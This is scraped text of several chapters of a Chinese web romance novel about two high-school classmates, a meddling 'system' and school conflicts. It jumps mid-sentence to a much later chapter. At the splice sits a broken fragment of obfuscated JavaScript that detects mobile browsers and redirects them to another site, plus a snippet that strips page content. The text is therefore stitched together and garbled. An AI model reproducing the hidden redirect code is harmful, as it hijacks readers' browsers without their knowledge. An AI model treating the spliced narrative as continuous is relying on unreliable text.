她一开口就像机关枪一样,又快又密,“怎么着?我欣赏王暄就变成□□了?大清都亡了多少年了!你们仨比封建残余还封建!人家是裹小脚,你们是裹小脑。这满清被扫进历史垃圾堆的时候怎么把你们遗漏了下来?啊?” 李浪帆把枪口对准陆腾达,“来,我问问你,大清哪一年亡的?!” 三人面面相觑,只要想到刚才她把那么重的桌子一脚踹飞出去,就谁也不敢接话了。 “说不上来?考那几分?还有脸在这里嘴我?回去多读读书洗洗你这陈旧腐烂的脑子吧!与其在学校逼逼赖赖,不如好好想想下次考试怎么不拉低咱班的平均分!” 李浪帆冷哼一声,再不去看他们一眼。 “别想了,跟这种垃圾一般见识干什么。” 沈溪云轻轻抱住李浪帆,思来想去也说不出什么安慰的话。 最后干巴巴地背了一段《莫生气》哄她,“为了小事发脾气,回头想想又何必。别人生气我不气,气出病来无人替。别生气,啊。” “嗯。”李浪帆扯出一个微笑。 她向王暄无力地解释道:“我绝对不是癞蛤蟆想吃天鹅肉,对你完全没有那种意思,就是普通的…”沉吟半晌不知道该如何形容,只好说:“大半夜睡不着觉,想写点矫揉造作的文字,你懂吧?” 王暄温柔地安抚她,“我知道,没关系,别这么说自己。嗯……我画画给你看吧,好不好?转移一下负面情绪。” 李浪帆迟疑着点点头,不知道王暄相信没有 16. 16 《替身女配竟是白月光[穿书]》全本免费阅读 颜丹从他们口中了解到整个事件的前因后果。 她恨铁不成钢地对许相宜说:“你才多大呀?怎么就能找一个校外的男朋友呢?社会上的人比你这种学生复杂太多了。你来学校还带手机,还天天晚上给他打电话,怪不得最近成绩下滑这么严重。你手机呢?给我。” 许相宜低着头,嗫嚅道:“……在书包里。” “拿过来。”颜丹的语气不容置疑。 许相宜不情不愿地回教室拿了手机交给她。 “等明天你妈妈来了,我再把手机给她。你现在应该养成正确的三观,别为了追星,连大是大非都不分,以后不要再说那种不正当的言论了。” 她看了一眼站在旁边的两位看客。 “你这些事情,性质十分恶劣,等你家长到了以后我们再详谈。现在就你在班里念李浪帆日记这件事,去向她本人道个歉。” “不用。”李浪帆忙说。 “她又不是真心的,就算道歉也是被迫无奈。我不接受。” 她看向许相宜,露出一个狠毒的笑容,“考完试了,有的是功夫收拾你。我会向所有人宣传你的分裂主义言论。我想,你这样的虫豸,总归是少数吧。” 颜丹听了李浪帆的话,心想又是一个不省心的。 “行了,你也别得理不饶人,也要给她改正的机会。老师相信相宜本质上是个好孩子,她会明白的。” 她叹了口气,“相宜,你先上自习吧。你们俩留下。” 许相宜临走前瞪了李浪帆一眼,引得她一声嗤笑。 “你们两个,是不是谈恋爱了?”颜丹开门见山。 两人齐齐否认:“没有。” 颜丹看他们半晌才说,“我听班上同学说,你们两个走得很近。” 王暄率先开口:“谁说的?把他叫出来,我们可以当面谈谈。” “谁说的你不用管,你就说是不是事实。”颜丹沉声道。 王暄一脸无辜地笑笑:“如果互相补习在有的同学眼里也算走得很近的话,那这个人会不会太独善其身,自私冷漠了点?” 颜丹瞥他一眼,也不接话。 她望向李浪帆,意味深长地说:“浪帆,你们现在还不是该谈恋爱的年纪,应该把心思放在学习上,多想想自己的未来。” 李浪帆摇摇头,非常诚恳地说:“没有,我没想过要早恋,对王暄也不是那种喜欢。我就是觉得他人很好,很热心。日记里夸了他两句,没想到被许相宜翻出来,引起这么大的误会。” 颜丹点点头,“好,你先回去吧。” 等李浪帆出去后,颜丹面色凝重地开始敲打王暄。 “你们两个的表现,老师也看在眼里。我得告诉你,浪帆不像你,有显赫的家世,她是要凭借高考改变命运的,容不得一丝一毫的差池。” “嗯,我知道。” “不管你怎么想,老师都希望你千万不要在这种时候,影响浪帆拼搏进取的心。她刚才也说了,对你不是男女之情的喜欢。” 王暄从容一笑,“对,我听到了。” “其实知好色而慕少艾,在这个年纪很正常,充其量也就是一点朦胧的好感,你不要以为她在日记里夸你几句,就觉得人家爱上你了。”颜丹盯着他的表情,没发现有什么异常。 “我当然不会。” 他在心里想:“是我喜欢她,又不是她喜欢我。” “她刚才还说你人很好,如果你真的不想辜负别人的期待,就不要在高考前,对她说任何不该说的话,做不该做的事。”颜丹目光灼灼,盯着王暄的双眼。 王暄信誓旦旦道:“我保证,我绝对不会影响她高考。” 颜丹还是有些不放心,“要不把你们两个人调开,都冷静一段时间。” “如果成绩下滑再调开也不迟。我和她现在分开坐,只会让其他同学觉得我们有什么,谣言肯定会愈演愈烈,这更影响她学习。”王暄不假思索地说。 这话让颜丹突然想起一件事,“你高二专门调到我们班,是为李浪帆而来吗?” 王暄似乎是听到什么离谱的笑话,惊讶道:“怎么会?我是单纯觉得王老师的教育方式不太适合我而已。” 颜丹也不说信与不信,她打算再观察观察两人的成绩,给他们一个机会。 王暄和颜丹一前一后回到教室。 李浪帆声音极低,迅速问他:“没事儿吧?” 王暄坐下的瞬间,低着头,看不清嘴型,“别担心,没事。” 等到下课,李浪帆才追问班主任对他说了什么。 王暄避重就轻道:“就说让我们好好学习,将来考个好大学。” 李浪帆叹了口气,“我还不知道大学要学什么专业呢。” 她问王暄:“你画画这么好,以后打算学美术吗?” 王暄垂眸否认,“如果学美术,除了高考以外,还得艺考。首先是山河省的联考,一共有三门,素描、速写、色彩。” 李浪帆第一次听说。 王暄继续补充,“联考过线之后要去考各个学校的校考。根据想报的专业,可能会有平面设计、多格漫画、舞台设计等不同的科目。” “那还挺麻烦。” 王暄的笑容有些落寞,“我应该不会去学艺术。虽然小时候梦想就是做动画,但是我们家普遍对搞文艺创作的有点看不上……而且即便我心里知道自己不如我哥,也还是想和他比一比。不过话说回来,我连学数学都费劲,可能真的就不是搞科技搞金融那块料,我也不擅长管理。” 李浪帆忽然想起,在系统告知的剧情中,王暄未来是商场上人人闻风丧胆的跨国公司董事长。为了权利兄弟相争,骨肉相残。 如果他一直是这样的性格,那么应该会很不快乐吧。 李浪帆问:“你要是学艺术,你们家会供你上大学吗?” “会,我干什么几乎没人过问,处于放养状态。” 李浪帆又问:“那你以后如果成立个动画公司,你们家会给资金吗?听说这个很烧钱。” 王暄眨眨眼:“会,我要钱像喝水一样简单。” 李浪帆流露出羡慕的神色:“那他们对你还挺好的。” 王暄苦笑一声:“打个比方,我就好比一棵树,他们只管大水漫灌,树长得是曲是直没人在乎,更不要提修剪枝叶了。但是我哥就不一样了,他从小是被当继承人培养的。” “我觉得你长得挺好,已经是我没有见过的参天大树了。”李浪帆十分认真。 王暄摇头说:“那是你没见过我哥。” 他从小到大一直活在哥哥的阴影中。 17. 17 《替身女配竟是白月光[穿书]》全本免费阅读 运动会选在周六上午举行,恰巧是个阴天。 冷灰色的天空阴云密布,云层糅合在一起,看不出形状。 校领导讲了十几分钟开场词后,运动员才分散到不同的区域开始比赛。 沈溪云报了一分钟跳绳,她和室友以及李浪帆、王暄,一行四人往比赛区域走去。 “唉。”王暄调整单反参数后,长长叹了一口气。 “唉声叹气干什么?又不让你跳。” 沈溪云把带着别针的号码牌别在胸前,没好气地白了他一眼。 她觉得还没开始,王暄就一副死气沉沉的样子,实在是不吉利。 “一点光影感也没有,拍出来很平,效果不好。” 王暄看着刚才拍的照片,毫无继续拍摄的欲望。 沈溪云不以为然,“阴天多好,要是大太阳,一会儿浪帆跑一千五百米不得热死。” 王暄把单反挂在脖子上,盯着正在录视频的运动相机,挑眉道:“视频拍出来也一般,我还不能离你太近,这个距离补光灯没什么用。先说好,我没闲工夫给你们做后期。成片不好看别怪我。” 沈溪云站在场地边等上一组的人比赛完,无所谓地说:“您能屈尊降贵给我拍照,我已经很满足了,好不好看不重要。” 她偷偷瞄了一眼李浪帆,暗自腹诽:“谁不知道你小子醉翁之意不在酒,同学这么多年,什么时候见你给我们拍过照片?” “下一组!” 沈溪云拿着绳子,站到计数的人面前。 李浪帆和室友都在给她加油,王暄拿着稳定器,站在镜头后一言不发。 “预备!” 沈溪云直挺挺的站在那里,这时她右边的女生弯下腰,把重心放低。她认出那女生是体育生,于是她也跟着有样学样。 “开始!” 还没跳几下,沈溪云就不由自主直起身来,她平时除了跑操很少运动,报跳绳比赛纯属是因为不想参加多人项目。 王暄看着视频里她直上直下,毫无运动美感的样子,再配合上卡绳之后生无可恋的表情,以及此刻的天气。 心想追求完美可能不适合他,随便拍拍算了。 沈溪云一分钟跳了159下,属于正常水平,没拿到名次。 比赛结束后,三个脑袋凑在王暄的相机前,在看拍好的视频。 李浪帆有些疑惑,“为什么这么灰?是因为阴天吗?” “不是,我开了Log模式,方便后期色彩还原。”王暄点开面板给她看。 李浪帆只知道Log函数,似懂非懂地“哦”了一声。 “你刚才不是说不做后期?” 王暄心中暗笑:“我说什么你就信什么?怎么这么好骗?” 他眨眨眼,“这不是为了效果稍微好点么?后期整体调下色,不麻烦。” 沈溪云要去看台坐下休息,室友陪她一起。 “去看看别人比赛?”李浪帆问。 “好啊。” 可能是因为运动会太忙,今天学习领导也没心思抓男女并排走这种“作风问题”。 操场上不断传来临时广播台为运动员加油的声音,都是各班学生写的激励语。 许相宜坐在看台上,一眼就看到李浪帆和王暄一路说说笑笑,轮着拍各项比赛的同学,怨毒的目光不由得紧盯他们。 她恨恨地对旁边同伴说:“李浪帆真不要脸,心里的小算盘估计都打烂了。” 旁边同伴还没答话,背后就传来一声冷笑,正是路过的沈溪云。 “许相宜,你现在怎么像阴沟里的老鼠一样见不得光?真不如改名叫‘相鼠’。你天天晚上给社会哥打电话,影响别人休息的时候不说自己可耻,王暄找浪帆说几句话,你背后骂人家。到底是谁不要脸?” 沈溪云的室友立马说:“就是,你之前还说浪帆永远也收不到珍贵的礼物,你还不知道吧!当天晚上,王暄专门又回学校给她送了Isabelle家的蛋糕,这家店一般款的蛋糕都要2999,可想而知他送的要多贵。不比你天天晚上撒娇求来的专辑贵多了?而且还是王暄自己设计的,就算只谈用心,你的也比不上吧?” 许相宜气的表情都开始扭曲。 沈溪云嗤笑一声:“浪帆还是太低调,如果是我,我能把包装盒甩你脸上,然后问问你,是谁收不到这样的礼物呀?” “恶心!” 两人头也不回地走了,坐的离许相宜远远的。 许相宜想追上去,又怕她们到处说自己之前维护偶像的言论,她现在已经了解,这种话传出去,对她绝对没好处,只得悻悻作罢。 离女子一千五百米比赛还有十分钟时,李浪帆开始做热身。 王暄特意告诉李浪帆,“全程跟拍可能不太现实,但是在最后冲向终点的时候,我绝对不会错过的。” 李浪帆眼中光华流转,说:“啊,那我会跑快点,第一个冲向你。” 王暄怀疑自己才是那个参加长跑的人,不然他怎么会因为简单的一句话,就呼吸紊乱,心跳不已。 哨声响后,运动员们迅速抢占内道,以闪电般的速度疾驰而去。 李浪帆的步伐沉稳而矫健,像一阵风,奏响了拼搏的交响乐。 此起彼伏的加油与呐喊声萦绕在耳边,久久不散。 拒绝参加运动会的王暄,脖子上挂着录制视频的运动相机,双手还举着单反想抓拍一些精彩的照片,跟李浪帆跑了差不多一公里。 曹扬看见后,捶胸顿足,扼腕不已。 在最后一圈时,王暄提前绕到终点,在那里等待李浪帆冲向终点线的瞬间。 李浪帆在最后关头拼命冲刺,飞溅的汗水也被镜头捕捉到,像耀眼的钻石,无比璀璨。 她果然第一个冲过了终点线。 王暄拍完李浪帆就跟着她往前慢慢走,沈溪云她们已经跑过来,又是给她递水又是递纸巾。 几人不停地夸她了不起。 李浪帆喉间带着浓重的血腥味,她喘着气笑道:“区区一千五百米……咫尺而已……必须拿下!” 运动会只开了一上午,等到下午快放学时,雨点敲落在窗户上。 “你带伞了吗?”王暄看看窗外,悄声问李浪帆。 “带了。” 王暄身子朝她那边侧了些,毫不客气道:“我没带,你放学送送我?” “行。”她想也不想就答应。 李浪帆的紫色小伞上还印着广告,伞骨也有些生锈,不太好撑开。 王暄把伞接过去,二人打着一把伞走在校园。 风摇翠浪,雨过青云。 濛濛细丝飘在空中,更添一份秋日的凉意。 李浪帆离他有些远,王暄也不说话,只是默默把伞朝她那边倾斜,结果自己半个身子都在雨中。 把王暄送上 18. 18 《替身女配竟是白月光[穿书]》全本免费阅读 李浪帆思来想去,最后决定写章芝浦。 王暄对这位革命烈士不是很了解,只知道他是山河省的抗日英雄。 李浪帆回忆起看过事迹,对王暄细细道来。 “1914年,他投笔从戎,参加讨袁斗争…… 1945年,□□笼罩着这片土地,当年十月,由于叛徒告密,部队驻地被包围,他带领部队利用有利地形,同敌人展开激战,最终因寡不敌众,弹尽被俘。” 她从这位英雄加入革命队伍的那一年起,一直讲到他五十岁壮烈牺牲。 王暄听了感慨不已,恨不能回到那个年代,和革命前辈一起奋勇杀敌。 李浪帆低头写论文的时候,发现刘海总是影响视线,就用小发夹给别了上去。 第三排的曹杨回头时无意间看见,一直在笑。 王暄正色问道:“笑什么?” 曹扬说:“你不觉得她戴着发卡的样子很好笑吗?” 李浪帆看了曹扬一眼,懒得理他。 王暄神色温柔,眼底波光流转,“不啊,我觉得很好看。” 李浪帆心中一动,拿笔的手停顿了一下。 “咦——” 曹扬故意做出夸张的表情,“你看她什么都觉得可爱。” 李浪帆若无其事地岔开话题,“最近天气转凉,洗头干得又慢,我准备周末回镇上把头发剪短点。” 王暄眼中一亮,自告奋勇说:“要不我帮你剪?我修过很多cosplay的假毛,非常有经验。” 李浪帆一愣,没想到他在这方面也有研究,“你究竟还有什么技能是我不知道的?” 王暄说:“Coser会做道具,会修假发,会化妆,会摄影不是很正常的事吗?很多人都会。” 李浪帆啧啧称奇:“你的业余生活也太丰富了!” 王暄对她眨眨眼:“所以要不要我给你剪?” “可以。”李浪帆看他跃跃欲试的模样不忍拒绝,干脆地答应了。 心想:“剪的好不好都无所谓,反正在学校又没人看,他想试就试试吧。” 少年人总是说干就干,王暄下课时给司机打电话,让他中午把自己修剪假发的套装送到学校门口。 “你中午去洗头房洗完头之后,不要吹太干,我在休息室等你,我们在那剪,可以吗?”王暄提议。 “可以。”李浪帆依旧没有异议。 等中午她洗完头回到休息室时,发现王暄已经等在那里了。 李浪帆解开发圈,一头黑色直发倾泻而下。 王暄一手轻轻撩起她刚过肩的头发,未干的青丝令人想起潮湿的秋雨,他眼中不禁染上了笑意。 “有什么要求吗?” 李浪帆的发梢被人捏在手中,略微有些不自在,“短点就行,你修快点,一会儿老师就要来了。” “你要是这么说,我可就自由发挥了。” 等剪到刘海时,李浪帆看着他的脸,有些尴尬地闭上双眼。 王暄看着她轻颤的睫毛,和长睫投下的阴影,像微微振颤的蝶翼,显得有些可爱。 李浪帆只感觉王暄在她的发间拨来弄去,以及夹板带来的热意。于是不受控地回忆起拔牙的经历,忽然觉得此刻和当时有些相像,都有种受人宰割的感觉。 “好了。” 她听到耳边传来的声音,这才睁开眼。 休息室有一面小镜子,是给老师整理仪容用的。 李浪帆凑上前去看,发现王暄确实修的很好。 如果说剪发是一场豪赌,那显然她大赚了一笔。 明明没剪短多少,但是整个人看上去确实和以前不一样了,感觉更酷、更生人勿近了些,和她不说话时的表情完美适配,相得益彰。 “怎么样?”王暄声音里带着自得的笑意。 “非常满意!你还有什么是不会的吗?”李浪帆觉得他已经全能到恐怖的地步了。 王暄拿起扫把,笑道:“不会像许相宜一样,给值日生增添麻烦。” “我来我来!” 李浪帆哑然失笑,忙抢上前去,将扫把拽过来,把地上的碎发打扫干净。 周围同学都发现了李浪帆发型上的变化,纷纷问她中午是不是偷偷溜出去理发了。 王暄扬起下巴,“我的杰作,怎么样?是不是很好看?” “真是你剪的?我以为你早上吹牛呢。”曹扬难以置信道。 王暄挑眉看他。 “好看!Tony王技艺高超!” 沈溪云也低叹一声:“真是服了你们这些二次元。” 季乾宇让王暄下午大课间的时候也帮他剪剪,王暄一口答应。 但是当别的同学也想找Tony王理发时,王暄想也不想就拒绝了。 “为什么?太双标了吧!”同学佯怒。 王暄微微一笑,“匠石运斤的故事听说过没有?讲的是一个叫石的人,抡起斧头,砍掉了郢人鼻尖上的白灰,但郢人的鼻子却毫发无伤。这是因为他信赖石,而且还能在石的斧子下纹丝不动,石才能发挥自己的本领。所以,只有完全互信的人,我才敢下手。” “好吧,你说的长,你有道理。”同学遗憾而去。 为了感谢王暄,李浪帆第二天请他吃午饭,点了食堂最贵的,售价八元的小酥肉煲仔饭。 王暄问:“镇上理发多少线?” 李浪帆:“十块。” 王暄挑眉笑道:“你这就省了两块,也太少了。” 李浪帆摆摆手,说:“吃吧,肥水不流外人田。” 当中州一中再次听到呼啸的风声时,就说明冬天要来了。 立冬刚过,春困秋乏冬打盹,一年到头都是容易打瞌睡的季节。 午休结束后,王暄往杯子里捏了点毛尖,问李浪帆:“喝茶吗?一会儿是语文课,省的犯困。” “来点儿吧。”李浪帆觉得自己的意识有些不清醒,反应都迟钝起来。 王暄给她倒了茶叶,然后顺手把两人的杯子一并拿去教室前面接刚烧开的热水。 “谢谢。” “不拧上盖子吗?小心一会儿洒了。”李浪帆打了个哈欠,支着头,看着他盛满了水的茶杯在发呆。 “太热没法喝,放凉点。” 王暄说完这话还不到一分钟,前桌曹扬突然压着椅子往后靠,碰倒了他的水杯。 李浪帆眼疾手快,一把抓住他的杯子往后撤,总算挽救了王暄堆在桌面上的卷子和书。 王暄立刻注意到李浪帆的左手被热水烫到了。 “没事吧?” 他隔着袖子抓起她的手腕,发现溅出的水已经把手背烫红了一片。 曹扬听到动静扭头看,反应过来怎么回事慌忙道歉。 “对不起对不起,我不是有意的,浪帆你手怎么样?没事吧?” 王暄斜他一眼,又暗自懊悔是自己的错,拉着李浪帆的袖子就要带她去冲冷水。 匆忙间李浪帆只说了个 19. 19 《替身女配竟是白月光[穿书]》全本免费阅读 李浪帆苦笑一声:“你觉得我一而再再而三接受你的东西合适吗?人情我要怎么还?” 王暄若无其事说:“同学之间,普通的关心,不用你还。” 李浪帆欲言又止,心想哪有异性同学关心别人的手生不生冻疮,又送手套又送药的。 更何况……更何况还是在自己的日记被公布后。 同学间正常的往来倒也还好,但偏就是掺杂在其中的关心,让她实在不知道该如何是好。 “如果是我,我肯定不会去关心异性同学的生活状态。” 李浪帆在心里大呼救命,“只要你以后不按照原书剧情,把我折磨死,这就是最大的关怀了!” 王暄缄默地看着她。 李浪帆犹豫了一会儿,避开他的眼神,说:“如果是我之前的一些行为让你……” 她本来想说让你误会,但心里却清楚地知道,她对王暄的心思并没有那么清白。 “那我向你道歉,我……” 王暄打断了她,“鉴于之前班主任交代的话,我不认为现在这个时机适合对你解释什么。但是,你完全可以放松点,不要去想那么多。你需要这些,收下来并不吃亏,我想送这些,看到你用我也高兴。双赢的事情,为什么要有心理负担呢?我不是会挟恩图报的人,这一点你大可放心。” 他态度软了下来,眼神也充满关切,李浪帆实在无法再拒绝。 “谢谢。但我不是知恩不报的人……算了,以后再说吧,又不是明天就毕业。” 李浪帆怀疑王暄可能真的被日记误导了,所以这个心软的人才会出于一种微妙的情绪,想对自己多照顾些。 以至于她此刻产生了一种莫名其妙的愧疚感,总觉得像在利用王暄一样。 李浪帆心烦意乱,可又茫然无措,只得把精力转向学习,以此狠狠发泄。 她拿着自动笔在题干上迅速圈出重点,思维极快地解出答案。 心中冷笑道:“解不开生活中的题就算了,难道我还解不开卷子上的题吗!” 王暄发现李浪帆虽然涂上了药,大课间跑操时也戴着手套,但整个人沉默得很,即便有问必答,却也不再像之前一样,先跟他搭话。 他无计可施,也同样只能去题海中寻求慰藉。 [滴——系统已解除屏蔽] “系统,我和你的男主已经两天没怎么说话了,他会不会觉得我收了他的东西就翻脸不认人啊?唉,但是我又不知道究竟该怎么跟他相处。”李浪帆病急乱投医,把系统放了出来,想从它这里找到人际交往的答案。 [没关系的宿主!反正他又不是真的喜欢你,只是单纯地对着你在想大洋彼岸的白月光而已。你不用在乎他的感受!男主那么有钱,你喜欢什么问他要就是了!]系统声音欢快,给出它自认为完美的提议。 “他真的天天对着我在想白月光?不会吧……一点儿没感觉出来。”李浪帆不太相信系统的说法。 系统言之凿凿告诉她:[当然是真的,怎么可能会有男主喜欢恶毒女配?他就是看在这张脸长得像女主的份上才容忍你罢了。你趁着现在能要一点好处就多要点吧,就当是提前从他身上讨回利息了。] 李浪帆反驳道:“不好吧,他现在又没对我做什么,我肯定不能因为莫须有的事情去作践他的心意。” [这有什么不能的!反正你接不接受男主的礼物,都不影响他从心底瞧不起你。等到未来你走投无路当替身时,想再从男主手里讨到好处,可就要付出相当昂贵的代价了。]系统恨铁不成钢。 “好吧,谢谢你。” [滴——系统已屏蔽] 李浪帆意识到她想从系统这里寻求答案的想法,简直愚蠢至极。 它根本不懂人类的情感。 这天晚饭后,李浪帆陪沈溪云去商店买东西,发现门口摆了很多苹果,还有包装盒,这才想起,明天是圣诞节。 虽说李浪帆一向不过洋节,但是她觉得这可能是一个缓和关系的机会。 “谁知道以后会怎么样,过好一天是一天吧。”她在心中对自己说。 她买了两个又大又红的苹果,其中一个塞进了沈溪云的口袋里。 “岁岁平安。” “谢谢!我也给你买一个!”沈溪云眉眼弯弯,露出一个甜美的笑容。 “别买,我一点也不爱吃苹果。” 李浪帆看她又要去拿巧克力,连忙拉住,“我也不吃巧克力。” “那我就不客气啦!” 两人把吃的藏好,成功避开了教学楼前的值班老师。 等她们洗完苹果回到座位上时,王暄依旧没回来。 但是他桌子上堆满了包装好的苹果和巧克力,还有一些其他大小不一的盒子,不知道里面是什么。 李浪帆眼中闪过一抹惊讶。 沈溪云却早已见怪不怪,“正常,喜欢他的人多得很,只是许多人不好意思说。而且少爷看着温柔实际很难接近,大家也怕被当面拒绝。可惜你小学跟初中不在我们学校,他从小人气就很高。” 李浪帆点点头,心道:“毕竟是系统口中的男主嘛,有万人迷属性可以理解。” 她把洗干净的苹果用纸垫着,悄悄塞进王暄课桌里。 王暄大老远就看见桌子上堆了许多盒子,一点欣喜的表情都没有。 他面色平静地把所有礼盒都拆开,没有一个写名字的。除了常见的苹果、巧克力,剩下还有一些圣诞摆件,唯一带来一丝惊喜的,是其中一个盒子里装的某动画角色的徽章。 “这是谁送的?”王暄朗声问道。 没有人认领。 “今天还有别班女生让我把礼物放你桌上,可能不是咱班人送的。”后排有同学说。 王暄站起来对班里同学说:“谢谢给我送礼物的同学,祝大家平安夜快乐。我把所有东西都放到休息室,你们自己认领一下,以后不用再给我送东西了。” 他把这些都用袋子装起来,提到了休息室。 “每年都这样,他根本不收。”沈溪云有点替送礼的女生感到可惜。 “你怎么不收啊?都是人家的一番心意。”王暄刚坐下,季乾宇就问他。 “我不拿来历不明的东西。” 王暄说着就要从书桌里抽出练习册,然后他发现这里还放着一个苹果。 苹果没有包装,像是洗干净后才垫了纸放进来的。 他有些疑惑,正要也放到休息室时,余光看到李浪帆嘴角微微动了一下,眼中流露出迟疑的神色,像是要说什么,最后却沉默不语。 王暄瞬间福至心灵,拿着苹果问:“你送的?” 李浪帆面色纠结,在王暄拒绝掉所有礼物之后,她有点不大想承认。 “你送的。”这次变成肯定句,王暄看着她的表情就明白了一切。 李浪帆尴尬地点点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961371|135156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通电话的目的了。 “我还纳闷呢,就看到有人问你女朋友什么来头。”严晏没忍住打了个哈欠,“还给我发了截图,这才知道怎么回事。” 他实在不理解妹妹的一厢情愿,明明两人交集不多,也不知怎么就看上了他。 “我一会儿去劝劝她。”王暄长叹一声,接下这个棘手的活儿。 “我打电话她不接,靠你了兄弟。我要是猝死,你记得来收尸。”他见目的达到,立刻结束了通话。 雨势渐渐减弱,最终完全停歇。水滴沿着车窗缓缓滑落,只剩下一道道蜿蜒的痕迹。 王暄带着一身凉意从严妤家出来,拉开车门,强硬地挤在李浪帆身边。 “怎么样?” “解决了。”他言简意赅。 山间鸟鸣幽幽,溪流潺潺。郁郁葱葱的植被上,挂着一层晶莹的水珠,整个世界似乎都已被荡涤地干干净净。 雨后初晴,天空碧蓝如洗,蒙蒙雾气还未消散,太阳便已从云间出来。 两人并肩而行,从高耸的山峰,赏到岩间的野花,一路遍览风光,畅谈起此地的历史人文。 待登上顶峰,不知不过竟已过去了三小时。 王暄随手拍下一张山顶景色,发给了严妤,“现在天气很好,出门走走吧。” 坐在下山的露天吊椅索道上,李浪帆劝解他:“少年时青涩的爱恋,就像夏季磅礴的骤雨,虽然来势猛烈,但总归去得也快。” 佛家云“由爱故生忧,由爱故生怖”,王暄从前并不如何理解,而今算是彻底体会到其中之意。 “你对我也会如此吗?”他凝视着那双眼睛。 “不会,我对你的……”她顿了顿,实在说不出口那个“爱”字,“感情,要比乞拉朋齐的雨季更为漫长。” 乞拉朋齐被称为世界雨极,来自印度洋的西南季风带来大量水汽,被喜马拉雅山脉阻隔于此,几乎全年都在下雨。 “我……” 王暄刚要说什么,索道前方传来了“拍照中,请微笑”的广播声音。 似是为了证明自己的话,李浪帆紧紧抓着挡在腰间的横杆,深吸一口气,不管不顾地吻上了他的侧脸。 同时,快门声响起。 背后的峭壁上,写着银钩铁画的四个大字——如是仙境。 时间仿佛凝固,一切声音都渐渐远去,只剩下心跳在咚咚作响。 霎时间神魂颠倒,天旋地转。 河中流水冲刷到天上,蜉蝣的翅膀遮住了太阳。 他眼中闪烁着难以置信的光芒。 下了索道后,李浪帆见他还一副神游天外的样子,心中那份紧张和羞涩终于被取代。 伸手在他眼前晃了晃,“喂,回神了!不就亲了你一下,至于嘛。” 王暄看着她若无其事的样子,心中又爱又恨。 抬手揽上她的腰,薄唇轻轻蹭过耳垂,“要不是看这里人多……” 低沉的声音和灼热的气流惹得怀中人不住轻颤。 “你要是敢,别怪我打你。”她恼羞成怒。 某人却毫不在意,只兴冲冲地带她去柜台拿刚才拍的照片。 珍贵的瞬间果然被抓拍下来。 看着二人的合照,王暄不由感慨:“我总觉得不太真实,简直像在做梦一般。” 李浪帆告诉他:“美好的都是真实的,并且永远不会消亡。” * “曾经我确实认为,美好的都是真实的,并且永远不会消亡……” 她看着眼前这个除了长相和家世,一切都与自己未婚夫不符的原书男主,缓缓叹了口气。 久居上位的男人目光幽深,盯着她颈间的choker,脸上难辨喜怒。 半晌,才淡淡问道:“你以为,我会相信这些故事吗?” 48. 侵略 秋雨绵绵,天空被染成灰蒙蒙的蓝色。 玻璃将淅淅沥沥的雨声隔绝到窗外,只剩下一片萧瑟之景。 这是剧情被系统修正后的第四天晚上。 平常十天半月不见得回家一次的王暄,最近倒是风雨无阻地下班就回来。 顾管家和其他人自然而然理解为,这是他们先生在意李小姐的表现。 李浪帆听到有人私下这么议论,有些啼笑皆非。 她觉得自己像在上演《一千零一夜》。 而每天回来听她讲述过去的王暄,或许只是小时候没人给读睡前故事,所以现在想体验一番山努亚的快乐。 可惜山鲁佐德每晚讲的是故事,而她口中说出的,是真实经历的人生。 “我知道听起来很离谱,但现在又没办法把系统揪出来向你证明。”别说系统已经销毁了,就算没有销毁,她也做不到把那人工智障弄出来。 她看王暄不说话,只得继续补充,“除了穿书和剧情线修正的大前提下,其他逻辑是没问题的。你没发现什么漏洞,不是吗?” “逻辑是一个故事的基本要素。” 王暄卸掉温柔的伪装后,镜片下的双眼看起来十分不近人情。 她只能通过一些不为人知的细节去证明自己,“你在游戏里给拉姆取名叫小可的事,没告诉过别人。” “我的游戏账号不少人都知道,就算不说,有心之人去查看也不是难事。” “你后腰上有颗痣。”她并不是很想提这种事。 听到这话,王暄果然用玩味的目光打量起她,“搓澡工也能看到。” “你银行卡的密码一般是‘116031’,这是你曾经游戏账号的前六位,‘184376’你另一个号的前六位,‘090619’小可的生日。” “很遗憾,这是我未成年以前使用的密码,被王琮猜到后就换了。” 提起哥哥,他眼中闪过一丝戾色。 李浪帆心下一惊,难道真如系统所说,他们兄弟相争已经到了反目成仇的地步? 她有点难以置信,毕竟原本的世界中,他们兄弟二人关系还不错。后来还给他们的动画公司投了一笔不菲的资金。 “你们……现在关系不好吗?” 早在李浪帆被带回别墅的第二天早上,她所有的信息就已经被王暄助理查的一清二楚了。 和真实经历的人生完全不同,原书设定中,她的成长经历更为坎坷。 这个世界的李浪帆连高中毕业证都没拿到。 高二那年,她被同学缠上,最后防卫过当致人重伤。 那个男生向来无法无天惯了,趁下课时,突然隔着衣服解开了她内衣的扣子,还得意洋洋叫其他男生来看,说他们中州一中也能停下飞机。结果李浪帆泼了他一脸茶叶,又连续几个耳光把人扇地找不着北。 后来那人纠集同伙,又趁晚上把她拉到小树林报复。原本以为踢的是棉花,没想到腿倒是给人废了,落个断子绝孙。还是惨叫声把校领导引来,才没被暴怒中的李浪帆当场打死。 好消息是,判决下来后,免除了对她的刑事处罚,坏消息是,她被学校开除了。 这件事在中州的所有中学间传得沸沸扬扬,被开除学籍后没学校敢收她。 无权无势的李浪帆,后来再没上过学。 文档做的非常详细,甚至还有超链接,能看到另一个当事人,李浪帆当年的班主任,为她提供法律援助的律师等人的信息。 王暄看完了她所有的资料,既有些诧异,又带着果然如此的感慨。 诧异这个突然出现在自己面前的女人,和王琮竟然有着千丝万缕的联系。 两人不但是中州一中的校友,还都是一个叫明国芳老师的得意门生。那个律师后来去了王暄公司的法务部,而李浪帆前几年曾在王琮公司园区的一家咖啡店里打工。 是他夺得了家族产业,又把王琮赶到北美后,她才经人介绍去了Bluenight俱乐部。 他原就觉得怎会平白无故出现一个这么合他口味的女人,如果这一切都是为他量身定制的,那就不奇怪了。 就连外貌,恐怕也是见他小学时常和高霏玩,照着她那样子找的。更难得的是,这女人的性格他也喜欢,而且从那些不堪的过去可以窥见,她一直都是这样的人。 